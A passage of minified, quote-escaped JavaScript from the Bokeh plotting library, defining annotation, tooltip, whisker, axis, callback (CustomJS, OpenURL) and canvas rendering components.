e=this.plot_view.canvas_view.ctx;return this.visuals.text.set_value(e),e.measureText(t).ascent+10},t}(r.TextAnnotationView);i.TitleView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Title\\\",this.prototype.default_view=l,this.mixins([\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({text:[o.String],text_font:[o.Font,\\\"helvetica\\\"],text_font_size:[o.FontSizeSpec,\\\"10pt\\\"],text_font_style:[o.FontStyle,\\\"bold\\\"],text_color:[o.ColorSpec,\\\"#444444\\\"],text_alpha:[o.NumberSpec,1],vertical_align:[o.VerticalAlign,\\\"bottom\\\"],align:[o.TextAlign,\\\"left\\\"],offset:[o.Number,0]}),this.override({background_fill_color:null,border_line_color:null}),this.internal({text_align:[o.TextAlign,\\\"left\\\"],text_baseline:[o.TextBaseline,\\\"bottom\\\"]})},t}(r.TextAnnotation);(i.Title=h).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(4),s=t(5),a=t(15),l=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.plot_view.canvas_events.appendChild(this.el),this._toolbar_views={},o.build_views(this._toolbar_views,[this.model.toolbar],{parent:this});var e=this._toolbar_views[this.model.toolbar.id];this.plot_view.visibility_callbacks.push(function(t){return e.set_visibility(t)})},t.prototype.remove=function(){o.remove_views(this._toolbar_views),i.prototype.remove.call(this)},t.prototype.render=function(){if(i.prototype.render.call(this),this.model.visible){var t=this.model.panel;this.el.style.position=\\\"absolute\\\",this.el.style.left=t._left.value+\\\"px\\\",this.el.style.top=t._top.value+\\\"px\\\",this.el.style.width=t._width.value+\\\"px\\\",this.el.style.height=t._height.value+\\\"px\\\",this.el.style.overflow=\\\"hidden\\\";var e=this._toolbar_views[this.model.toolbar.id];e.render(),s.empty(this.el),this.el.appendChild(e.el),s.show(this.el)}else s.hide(this.el)},t.prototype._get_size=function(){return 30},t}(r.AnnotationView);i.ToolbarPanelView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarPanel\\\",this.prototype.default_view=l,this.define({toolbar:[a.Instance]})},t}(r.Annotation);(i.ToolbarPanel=h).initClass()},function(t,e,i){var n=t(391),r=t(60),f=t(5),o=t(15);function v(t,e,i,n,r){var o;switch(t){case\\\"horizontal\\\":o=e<n?\\\"right\\\":\\\"left\\\";break;case\\\"vertical\\\":o=i<r?\\\"below\\\":\\\"above\\\";break;default:o=t}return o}i.compute_side=v;var s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),f.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.data.change,function(){return t._draw_tips()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-tooltip\\\")},t.prototype.render=function(){this.model.visible&&this._draw_tips()},t.prototype._draw_tips=function(){var t=this.model.data;if(f.empty(this.el),f.hide(this.el),this.model.custom?this.el.classList.add(\\\"bk-tooltip-custom\\\"):this.el.classList.remove(\\\"bk-tooltip-custom\\\"),0!=t.length){for(var e=this.plot_view.frame,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=r[2];if(!this.model.inner_only||e.bbox.contains(o,s)){var l=f.div({},a);this.el.appendChild(l)}}var h,u,c=t[t.length-1],_=c[0],p=c[1],d=v(this.model.attachment,_,p,e._hcenter.value,e._vcenter.value);switch(this.el.classList.remove(\\\"bk-right\\\"),this.el.classList.remove(\\\"bk-left\\\"),this.el.classList.remove(\\\"bk-above\\\"),this.el.classList.remove(\\\"bk-below\\\"),f.show(this.el),d){case\\\"right\\\":this.el.classList.add(\\\"bk-left\\\"),h=_+(this.el.offsetWidth-this.el.clientWidth)+10,u=p-this.el.offsetHeight/2;break;case\\\"left\\\":this.el.classList.add(\\\"bk-right\\\"),h=_-this.el.offsetWidth-10,u=p-this.el.offsetHeight/2;break;case\\\"below\\\":this.el.classList.add(\\\"bk-above\\\"),u=p+(this.el.offsetHeight-this.el.clientHeight)+10,h=Math.round(_-this.el.offsetWidth/2);break;case\\\"above\\\":this.el.classList.add(\\\"bk-below\\\"),u=p-this.el.offsetHeight-10,h=Math.round(_-this.el.offsetWidth/2);break;default:throw new Error(\\\"unreachable code\\\")}this.model.show_arrow&&this.el.classList.add(\\\"bk-tooltip-arrow\\\"),0<this.el.childNodes.length?(this.el.style.top=u+\\\"px\\\",this.el.style.left=h+\\\"px\\\"):f.hide(this.el)}},t}(r.AnnotationView);i.TooltipView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tooltip\\\",this.prototype.default_view=s,this.define({attachment:[o.String,\\\"horizontal\\\"],inner_only:[o.Bool,!0],show_arrow:[o.Bool,!0]}),this.override({level:\\\"overlay\\\"}),this.internal({data:[o.Any,[]],custom:[o.Any]})},t.prototype.clear=function(){this.data=[]},t.prototype.add=function(t,e,i){this.data=this.data.concat([[t,e,i]])},t}(r.Annotation);(i.Tooltip=a).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(62),a=t(15),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_model.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;if(this.visuals.line.doit)for(var e=0,i=this._lower_sx.length;e<i;e++)this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(this._lower_sx[e],this._lower_sy[e]),t.lineTo(this._upper_sx[e],this._upper_sy[e]),t.stroke();var n=\\\"height\\\"==this.model.dimension?0:Math.PI/2;if(null!=this.model.lower_head)for(var e=0,i=this._lower_sx.length;e<i;e++)t.save(),t.translate(this._lower_sx[e],this._lower_sy[e]),t.rotate(n+Math.PI),this.model.lower_head.render(t,e),t.restore();if(null!=this.model.upper_head)for(var e=0,i=this._upper_sx.length;e<i;e++)t.save(),t.translate(this._upper_sx[e],this._upper_sy[e]),t.rotate(n),this.model.upper_head.render(t,e),t.restore()}},t}(r.AnnotationView);i.WhiskerView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Whisker\\\",this.prototype.default_view=l,this.mixins([\\\"line\\\"]),this.define({lower:[a.DistanceSpec],lower_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],upper:[a.DistanceSpec],upper_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],base:[a.DistanceSpec],dimension:[a.Dimension,\\\"height\\\"],source:[a.Instance,function(){return new o.ColumnDataSource}],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\"})},t}(r.Annotation);(i.Whisker=h).initClass()},function(t,e,i){var n=t(391),r=t(187),o=t(15),s=t(12),l=t(21),T=t(44),a=t(181),h=Math.abs,u=Math.min,c=Math.max,_=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.render=function(){if(this.model.visible){var t={tick:this._tick_extent(),tick_label:this._tick_label_extents(),axis_label:this._axis_label_extent()},e=this.model.tick_coords,i=this.plot_view.canvas_view.ctx;i.save(),this._draw_rule(i,t),this._draw_major_ticks(i,t,e),this._draw_minor_ticks(i,t,e),this._draw_major_labels(i,t,e),this._draw_axis_label(i,t,e),null!=this._render&&this._render(i,t,e),i.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},t.prototype._get_size=function(){return null!=this.model.fixed_location?0:this._tick_extent()+this._tick_label_extent()+this._axis_label_extent()},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return null!=this.model.fixed_location},enumerable:!0,configurable:!0}),t.prototype._draw_rule=function(t,e){if(this.visuals.axis_line.doit){var i=this.model.rule_coords,n=i[0],r=i[1],o=this.plot_view.map_to_screen(n,r,this.model.x_range_name,this.model.y_range_name),s=o[0],a=o[1],l=this.model.normals,h=l[0],u=l[1],c=this.model.offsets,_=c[0],p=c[1];this.visuals.axis_line.set_value(t),t.beginPath(),t.moveTo(Math.round(s[0]+h*_),Math.round(a[0]+u*p));for(var d=1;d<s.length;d++){var f=Math.round(s[d]+h*_),v=Math.round(a[d]+u*p);t.lineTo(f,v)}t.stroke()}},t.prototype._draw_major_ticks=function(t,e,i){var n=this.model.major_tick_in,r=this.model.major_tick_out,o=this.visuals.major_tick_line;this._draw_ticks(t,i.major,n,r,o)},t.prototype._draw_minor_ticks=function(t,e,i){var n=this.model.minor_tick_in,r=this.model.minor_tick_out,o=this.visuals.minor_tick_line;this._draw_ticks(t,i.minor,n,r,o)},t.prototype._draw_major_labels=function(t,e,i){var n=i.major,r=this.model.compute_labels(n[this.model.dimension]),o=this.model.major_label_orientation,s=e.tick+this.model.major_label_standoff,a=this.visuals.major_label_text;this._draw_oriented_labels(t,r,n,o,this.model.panel.side,s,a)},t.prototype._draw_axis_label=function(t,e,i){if(null!=this.model.axis_label&&0!=this.model.axis_label.length&&null==this.model.fixed_location){var n,r;switch(this.model.panel.side){case\\\"above\\\":n=this.model.panel._hcenter.value,r=this.model.panel._bottom.value;break;case\\\"below\\\":n=this.model.panel._hcenter.value,r=this.model.panel._top.value;break;case\\\"left\\\":n=this.model.panel._right.value,r=this.model.panel._vcenter.value;break;case\\\"right\\\":n=this.model.panel._left.value,r=this.model.panel._vcenter.value;break;default:throw new Error(\\\"unknown side: \\\"+this.model.panel.side)}var o=[[n],[r]],s=e.tick+l.sum(e.tick_label)+this.model.axis_label_standoff,a=this.visuals.axis_label_text;this._draw_oriented_labels(t,[this.model.axis_label],o,\\\"parallel\\\",this.model.panel.side,s,a,\\\"screen\\\")}},t.prototype._draw_ticks=function(t,e,i,n,r){if(r.doit){var o=e[0],s=e[1],a=this.plot_view.map_to_screen(o,s,this.model.x_range_name,this.model.y_range_name),l=a[0],h=a[1],u=this.model.normals,c=u[0],_=u[1],p=this.model.offsets,d=p[0],f=p[1],v=[c*(d-i),_*(f-i)],m=v[0],g=v[1],y=[c*(d+n),_*(f+n)],b=y[0],x=y[1];r.set_value(t);for(var w=0;w<l.length;w++){var k=Math.round(l[w]+b),S=Math.round(h[w]+x),C=Math.round(l[w]+m),T=Math.round(h[w]+g);t.beginPath(),t.moveTo(k,S),t.lineTo(C,T),t.stroke()}}},t.prototype._draw_oriented_labels=function(t,e,i,n,r,o,s,a){var l,h,u;if(void 0===a&&(a=\\\"data\\\"),s.doit&&0!=e.length){var c,_,p,d;if(\\\"screen\\\"==a)c=i[0],_=i[1],p=(l=[0,0])[0],d=l[1];else{var f=i[0],v=i[1];h=this.plot_view.map_to_screen(f,v,this.model.x_range_name,this.model.y_range_name),c=h[0],_=h[1],u=this.model.offsets,p=u[0],d=u[1]}var m,g=this.model.normals,y=g[0],b=g[1],x=y*(p+o),w=b*(d+o);s.set_value(t),this.model.panel.apply_label_text_heuristics(t,n),m=T.isString(n)?this.model.panel.get_label_angle_heuristic(n):-n;for(var k=0;k<c.length;k++){var S=Math.round(c[k]+x),C=Math.round(_[k]+w);t.translate(S,C),t.rotate(m),t.fillText(e[k],0,0),t.rotate(-m),t.translate(-S,-C)}}},t.prototype._axis_label_extent=function(){if(null==this.model.axis_label||\\\"\\\"==this.model.axis_label)return 0;var t=this.model.axis_label_standoff,e=this.visuals.axis_label_text;return this._oriented_labels_extent([this.model.axis_label],\\\"parallel\\\",this.model.panel.side,t,e)},t.prototype._tick_extent=function(){return this.model.major_tick_out},t.prototype._tick_label_extent=function(){return l.sum(this._tick_label_extents())},t.prototype._tick_label_extents=function(){var t=this.model.tick_coords.major,e=this.model.compute_labels(t[this.model.dimension]),i=this.model.major_label_orientation,n=this.model.major_label_standoff,r=this.visuals.major_label_text;return[this._oriented_labels_extent(e,i,this.model.panel.side,n,r)]},t.prototype._oriented_labels_extent=function(t,e,i,n,r){if(0==t.length)return 0;var o,s,a=this.plot_view.canvas_view.ctx;r.set_value(a),T.isString(e)?(o=1,s=this.model.panel.get_label_angle_heuristic(e)):(o=2,s=-e),s=Math.abs(s);for(var l=Math.cos(s),h=Math.sin(s),u=0,c=0;c<t.length;c++){var _=1.1*a.measureText(t[c]).width,p=.9*a.measureText(t[c]).ascent,d=void 0;u<(d=\\\"above\\\"==i||\\\"below\\\"==i?_*h+p/o*l:_*l+p/o*h)&&(u=d)}return 0<u&&(u+=n),u},t}(r.GuideRendererView);i.AxisView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Axis\\\",this.prototype.default_view=_,this.mixins([\\\"line:axis_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"text:major_label_\\\",\\\"text:axis_label_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],ticker:[o.Instance,null],formatter:[o.Instance,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],axis_label:[o.String,\\\"\\\"],axis_label_standoff:[o.Int,5],major_label_standoff:[o.Int,5],major_label_orientation:[o.Any,\\\"horizontal\\\"],major_label_overrides:[o.Any,{}],major_tick_in:[o.Number,2],major_tick_out:[o.Number,6],minor_tick_in:[o.Number,0],minor_tick_out:[o.Number,4],fixed_location:[o.Any,null]}),this.override({axis_line_color:\\\"black\\\",major_tick_line_color:\\\"black\\\",minor_tick_line_color:\\\"black\\\",major_label_text_font_size:\\\"8pt\\\",major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"alphabetic\\\",axis_label_text_font_size:\\\"10pt\\\",axis_label_text_font_style:\\\"italic\\\"})},t.prototype.add_panel=function(t){this.panel=new s.SidePanel({side:t}),this.panel.attach_document(this.document)},Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this.panel.normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this.panel.dimension},enumerable:!0,configurable:!0}),t.prototype.compute_labels=function(t){for(var e=this.formatter.doFormat(t,this),i=0;i<t.length;i++)t[i]in this.major_label_overrides&&(e[i]=this.major_label_overrides[t[i]]);return e},Object.defineProperty(t.prototype,\\\"offsets\\\",{get:function(){var t=this.plot.plot_canvas.frame,e=[0,0],i=e[0],n=e[1];switch(this.panel.side){case\\\"below\\\":n=h(this.panel._top.value-t._bottom.value);break;case\\\"above\\\":n=h(this.panel._bottom.value-t._top.value);break;case\\\"right\\\":i=h(this.panel._left.value-t._right.value);break;case\\\"left\\\":i=h(this.panel._right.value-t._left.value)}return[i,n]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ranges\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_bounds\\\",{get:function(){var t=this.ranges[0],e=this.bounds,i=[t.min,t.max];if(\\\"auto\\\"==e)return[t.min,t.max];if(T.isArray(e)){var n=void 0,r=void 0,o=e[0],s=e[1],a=i[0],l=i[1];return h(o-s)>h(a-l)?(n=c(u(o,s),a),r=u(c(o,s),l)):(n=u(o,s),r=c(o,s)),[n,r]}throw new Error(\\\"user bounds '\\\"+e+\\\"' not understood\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"rule_coords\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=new Array(2),a=new Array(2),l=[s,a];return l[t][0]=Math.max(r,i.min),l[t][1]=Math.min(o,i.max),l[t][0]>l[t][1]&&(l[t][0]=l[t][1]=NaN),l[e][0]=this.loc,l[e][1]=this.loc,l},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){for(var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=this.ticker.get_ticks(r,o,i,this.loc,{}),a=s.major,l=s.minor,h=[[],[]],u=[[],[]],c=[i.min,i.max],_=c[0],p=c[1],d=0;d<a.length;d++)a[d]<_||a[d]>p||(h[t].push(a[d]),h[e].push(this.loc));for(var d=0;d<l.length;d++)l[d]<_||l[d]>p||(u[t].push(l[d]),u[e].push(this.loc));return{major:h,minor:u}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"loc\\\",{get:function(){if(null!=this.fixed_location){if(T.isNumber(this.fixed_location))return this.fixed_location;var t=this.ranges,e=t[1];if(e instanceof a.FactorRange)return e.synthetic(this.fixed_location);throw new Error(\\\"unexpected\\\")}var i=this.ranges,n=i[1];switch(this.panel.side){case\\\"left\\\":case\\\"below\\\":return n.start;case\\\"right\\\":case\\\"above\\\":return n.end}},enumerable:!0,configurable:!0}),t}(r.GuideRenderer);(i.Axis=p).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(208),s=t(105),a=t(15),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){this._draw_group_separators(t,e,i)},e.prototype._draw_group_separators=function(t,e,i){var n,r=this.model.ranges[0],o=this.model.computed_bounds,s=o[0],a=o[1];if(r.tops&&!(r.tops.length<2)&&this.visuals.separator_line.doit){for(var l=this.model.dimension,h=(l+1)%2,u=[[],[]],c=0,_=0;_<r.tops.length-1;_++){for(var p=void 0,d=void 0,f=c;f<r.factors.length;f++)if(r.factors[f][0]==r.tops[_+1]){n=[r.factors[f-1],r.factors[f]],p=n[0],d=n[1],c=f;break}var v=(r.synthetic(p)+r.synthetic(d))/2;s<v&&v<a&&(u[l].push(v),u[h].push(this.model.loc))}var m=this._tick_label_extent();this._draw_ticks(t,u,-3,m-6,this.visuals.separator_line)}},e.prototype._draw_major_labels=function(t,e,i){for(var n=this._get_factor_info(),r=e.tick+this.model.major_label_standoff,o=0;o<n.length;o++){var s=n[o],a=s[0],l=s[1],h=s[2],u=s[3];this._draw_oriented_labels(t,a,l,h,this.model.panel.side,r,u),r+=e.tick_label[o]}},e.prototype._tick_label_extents=function(){for(var t=this._get_factor_info(),e=[],i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[2],a=r[3],l=this._oriented_labels_extent(o,s,this.model.panel.side,this.model.major_label_standoff,a);e.push(l)}return e},e.prototype._get_factor_info=function(){var t=this.model.ranges[0],e=this.model.computed_bounds,i=e[0],n=e[1],r=this.model.loc,o=this.model.ticker.get_ticks(i,n,t,r,{}),s=this.model.tick_coords,a=[];if(1==t.levels){var l=this.model.formatter.doFormat(o.major,this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text])}else if(2==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[1]}),this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}else if(3==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[2]}),this.model),h=o.mids.map(function(t){return t[1]});a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([h,s.mids,this.model.subgroup_label_orientation,this.visuals.subgroup_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}return a},e}(r.AxisView);i.CategoricalAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalAxis\\\",this.prototype.default_view=l,this.mixins([\\\"line:separator_\\\",\\\"text:group_\\\",\\\"text:subgroup_\\\"]),this.define({group_label_orientation:[a.Any,\\\"parallel\\\"],subgroup_label_orientation:[a.Any,\\\"parallel\\\"]}),this.override({ticker:function(){return new o.CategoricalTicker},formatter:function(){return new s.CategoricalTickFormatter},separator_line_color:\\\"lightgrey\\\",separator_line_width:2,group_text_font_style:\\\"bold\\\",group_text_font_size:\\\"8pt\\\",group_text_color:\\\"grey\\\",subgroup_text_font_style:\\\"bold\\\",subgroup_text_font_size:\\\"8pt\\\"})},Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){var e=this,t=this.dimension,i=(t+1)%2,n=this.ranges[0],r=this.computed_bounds,o=r[0],s=r[1],a=this.ticker.get_ticks(o,s,n,this.loc,{}),l={major:[[],[]],mids:[[],[]],tops:[[],[]],minor:[[],[]]};return l.major[t]=a.major,l.major[i]=a.major.map(function(t){return e.loc}),3==n.levels&&(l.mids[t]=a.mids),l.mids[i]=a.mids.map(function(t){return e.loc}),1<n.levels&&(l.tops[t]=a.tops),l.tops[i]=a.tops.map(function(t){return e.loc}),l},enumerable:!0,configurable:!0}),t}(r.Axis);(i.CategoricalAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousAxis\\\"},t}(r.Axis);(i.ContinuousAxis=o).initClass()},function(t,e,i){var n=t(391),r=t(84),o=t(106),s=t(211),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.LinearAxisView);i.DatetimeAxisView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeAxis\\\",this.prototype.default_view=a,this.override({ticker:function(){return new s.DatetimeTicker},formatter:function(){return new o.DatetimeTickFormatter}})},t}(r.LinearAxis);(i.DatetimeAxis=l).initClass()},function(t,e,i){var n=t(79);i.Axis=n.Axis;var r=t(80);i.CategoricalAxis=r.CategoricalAxis;var o=t(81);i.ContinuousAxis=o.ContinuousAxis;var s=t(82);i.DatetimeAxis=s.DatetimeAxis;var a=t(84);i.LinearAxis=a.LinearAxis;var l=t(85);i.LogAxis=l.LogAxis;var h=t(86);i.MercatorAxis=h.MercatorAxis},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(104),a=t(207),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LinearAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.BasicTicker},formatter:function(){return new s.BasicTickFormatter}})},t}(o.ContinuousAxis);(i.LinearAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(109),a=t(215),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LogAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.LogTicker},formatter:function(){return new s.LogTickFormatter}})},t}(o.ContinuousAxis);(i.LogAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(84),s=t(110),a=t(216),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.MercatorAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MercatorAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.MercatorTicker({dimension:\\\"lat\\\"})},formatter:function(){return new s.MercatorTickFormatter({dimension:\\\"lat\\\"})}})},t}(o.LinearAxis);(i.MercatorAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Callback\\\"},t}(r.Model);(i.Callback=o).initClass()},function(i,t,e){var n=i(391),r=i(87),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJS\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"cb_obj\\\",\\\"cb_data\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.execute=function(t,e){return this.func.apply(t,this.values.concat(t,e,i,{}))},t}(r.Callback);(e.CustomJS=l).initClass()},function(t,e,i){var n=t(88);i.CustomJS=n.CustomJS;var r=t(90);i.OpenURL=r.OpenURL},function(t,e,i){var n=t(391),r=t(87),o=t(15),s=t(35),a=t(40),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenURL\\\",this.define({url:[o.String,\\\"http://\\\"]})},t.prototype.execute=function(t,e){for(var i=0,n=s.get_indices(e.source);i<n.length;i++){var r=n[i],o=a.replace_placeholders(this.url,e.source,r);window.open(o)}return null},t}(r.Callback);(i.OpenURL=l).initClass()},function(t,e,i){var n=t(391),r=t(11),o=t(6),s=t(13),a=t(14),l=t(15),h=t(5),u=t(26);null!=window.CanvasPixelArray&&(window.CanvasPixelArray.prototype.set=function(t){for(var e=0;e<this.length;e++)this[e]=t[e]});var c=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),Object.defineProperty(t.prototype,\\\"ctx\\\",{get:function(){return this._ctx},enumerable:!0,configurable:!0}),t.prototype.initialize=function(t){switch(i.prototype.initialize.call(this,t),this.map_el=this.model.map?this.el.appendChild(h.div({class:\\\"bk-canvas-map\\\"})):null,this.model.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":this.canvas_el=this.el.appendChild(h.canvas({class:\\\"bk-canvas\\\"}));var e=this.canvas_el.getContext(\\\"2d\\\");if(null==e)throw new Error(\\\"unable to obtain 2D rendering context\\\");this._ctx=e;break;case\\\"svg\\\":var e=new u.SVGRenderingContext2D;this._ctx=e,this.canvas_el=this.el.appendChild(e.getSvg())}this.overlays_el=this.el.appendChild(h.div({class:\\\"bk-canvas-overlays\\\"})),this.events_el=this.el.appendChild(h.div({class:\\\"bk-canvas-events\\\"})),u.fixup_ctx(this._ctx),a.logger.debug(\\\"CanvasView initialized\\\")},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-canvas-wrapper\\\")},t.prototype.get_canvas_element=function(){return this.canvas_el},t.prototype.prepare_canvas=function(){var t=this.model._width.value,e=this.model._height.value;this.el.style.width=t+\\\"px\\\",this.el.style.height=e+\\\"px\\\";var i=u.get_scale_ratio(this.ctx,this.model.use_hidpi,this.model.output_backend);this.model.pixel_ratio=i,this.canvas_el.style.width=t+\\\"px\\\",this.canvas_el.style.height=e+\\\"px\\\",this.canvas_el.setAttribute(\\\"width\\\",\\\"\\\"+t*i),this.canvas_el.setAttribute(\\\"height\\\",\\\"\\\"+e*i),a.logger.debug(\\\"Rendering CanvasView with width: \\\"+t+\\\", height: \\\"+e+\\\", pixel ratio: \\\"+i)},t.prototype.set_dims=function(t){var e=t[0],i=t[1];e<=0||i<=0||(e!=this.model._width.value&&(null!=this._width_constraint&&this.solver.has_constraint(this._width_constraint)&&this.solver.remove_constraint(this._width_constraint),this._width_constraint=s.EQ(this.model._width,-e),this.solver.add_constraint(this._width_constraint)),i!=this.model._height.value&&(null!=this._height_constraint&&this.solver.has_constraint(this._height_constraint)&&this.solver.remove_constraint(this._height_constraint),this._height_constraint=s.EQ(this.model._height,-i),this.solver.add_constraint(this._height_constraint)),this.solver.update_variables())},t}(o.DOMView);i.CanvasView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Canvas\\\",this.prototype.default_view=c,this.internal({map:[l.Boolean,!1],use_hidpi:[l.Boolean,!0],pixel_ratio:[l.Number,1],output_backend:[l.OutputBackend,\\\"canvas\\\"]})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return 